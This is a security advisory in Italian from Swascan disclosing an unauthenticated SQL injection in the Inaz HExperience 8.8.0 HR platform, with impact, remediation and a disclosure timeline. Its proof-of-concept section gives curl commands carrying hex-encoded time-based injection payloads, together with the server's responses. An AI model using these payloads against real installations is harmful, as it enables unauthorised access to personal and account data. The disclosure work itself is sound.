L’ Offensive Security Team di Swascan ha identificato 1 vulnerabilità sull’applicazione web Inaz HExperience v.8.8.0. La vulnerabilità è stata risolta nella versione 8.9.0.
INAZ
INAZ è l’azienda italiana specializzata in software e soluzioni per amministrare, gestire e organizzare il lavoro.
Progetta, produce e commercializza prodotti, strumenti e servizi che danno valore alle persone e mettono in moto le organizzazioni. INAZ continua a fare ricerca ed innovazione, collabora con università, promuove partnerships con aziende che sviluppano prodotti nuovi ed originali.
Descrizione del Prodotto
Inaz HExperience piattaforma HR web-based, integra e armonizza soluzioni, strumenti e informazioni che aiutano tutti a lavorare meglio.
HExperience facilita la gestione dei talenti, la collaborazione e le forme innovative di organizzazione. La piattaforma HExperience è costituita da un database potente su cui s’innestano i moduli operativi necessari a ogni azienda.
Technical summary
L’Offensive Security Team di Swascan ha riscontrato una importante vulnerabilità sul prodotto Inaz HExperience v8.8.0:
Vulnerability | CVSSv3.1 | CVSSv3.1 Base Vector |
Stacked SQL injection (non autenticata) | 9.8 – Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Nella sezione seguente vengono forniti dettagli tecnici sulla vulnerabilità ed una POSC (proof-of-concept). Questa vulnerabilità può interessare centinaia di dispositivi connessi a Internet.
Descrizione
In Inaz HExperience versione 8.8.0, un potenziale attaccante sarà in grado di accedere da remoto, senza alcuna autenticazione necessaria, alle informazioni contenute nel database ed eseguire operazioni come l’esfiltrazione e la modifica di account utente e amministrativi, di ottenere informazioni personali degli utenti (PII) e altro ancora.
Proof of Concept
Nella PoC seguente, a dimostrazione della presenza della vulnerabilità, viene illustrata l’esecuzione della SQL Injection in Microsoft SQL Server, tramite tecnica time-based:
$ time curl -kis -X POST -d
"ValMail=273120756E696F6E2073656C65637420313233&ValCodFisc=
31273b57414954464f522044454c41592027303a303a35272d2d"
https://URL/Portale/FunMobile/VerificaCand.aspx
Il nome di oggetto 'UserHR.cand_est' non è
valido.<br><br>SELECT kint, cod_fisc_caes FROM UserHR.cand_est WHERE
cod_fisc_caes = '1';WAITFOR DELAY '0:0:5'--'
real 0m5,649s
user 0m0,026s
sys 0m0,000s
$ time curl -kis -X POST -d
"ValMail=273120756E696F6E2073656C65637420313233&ValCodFisc=
31273b57414954464f522044454c41592027303a303a3130272d2d"
https://URL/Portale/FunMobile/VerificaCand.aspx
Il nome di oggetto 'UserHR.cand_est' non è
valido.<br><br>SELECT kint, cod_fisc_caes FROM UserHR.cand_est WHERE
cod_fisc_caes = '1';WAITFOR DELAY '0:0:10'--'
real 0m10,655s
user 0m0,019s
sys 0m0,005s
$ time curl -kis -X POST -d
"ValMail=273120756E696F6E2073656C65637420313233&ValCodFisc=
31273b57414954464f522044454c41592027303a303a3135272d2d"
https://URL/Portale/FunMobile/VerificaCand.aspx
Il nome di oggetto 'UserHR.cand_est' non è
valido.<br><br>SELECT kint, cod_fisc_caes FROM UserHR.cand_est WHERE
cod_fisc_caes = '1';WAITFOR DELAY '0:0:15'--'
real 0m15,819s
user 0m0,021s
sys 0m0,009s
Impatto
Se sfruttata correttamente, questa vulnerabilità potrebbe comportare l’acquisizione dei diritti di amministratore locale, con conseguente accesso a tutte le funzionalità del portale. In alcuni casi potrebbe essere possibile eseguire comandi sul sistema operativo remoto.
Remediation
Aggiornare l’applicativo INAZ HEXPERIENCE alla versione 8.10.2.
Timeline della Disclosure
07-04-2022: Vulnerabilità scoperta
07-04-2022: INAZ contattato via e-mail (1a volta, nessuna risposta)
15-04-2022: INAZ contattato via e-mail (2a volta, il vendor risponde)
20-04-2022: INAZ chiede un approfondimento tecnico via call
27-04-2022: Call per approfondimento tecnico
23-05-2022: INAZ rilascia una patch (nuova versione HEXPERIENCE v8.9.0)
30-06-2022: Swascan invia una bozza del Security Advisory a INAZ
19-07-2022: INAZ approva il documento di disclosure
08-09-2022: Swascan pubblica la vulnerabilità
Fonti e Riferimenti
https://cwe.mitre.org/data/definitions/89.html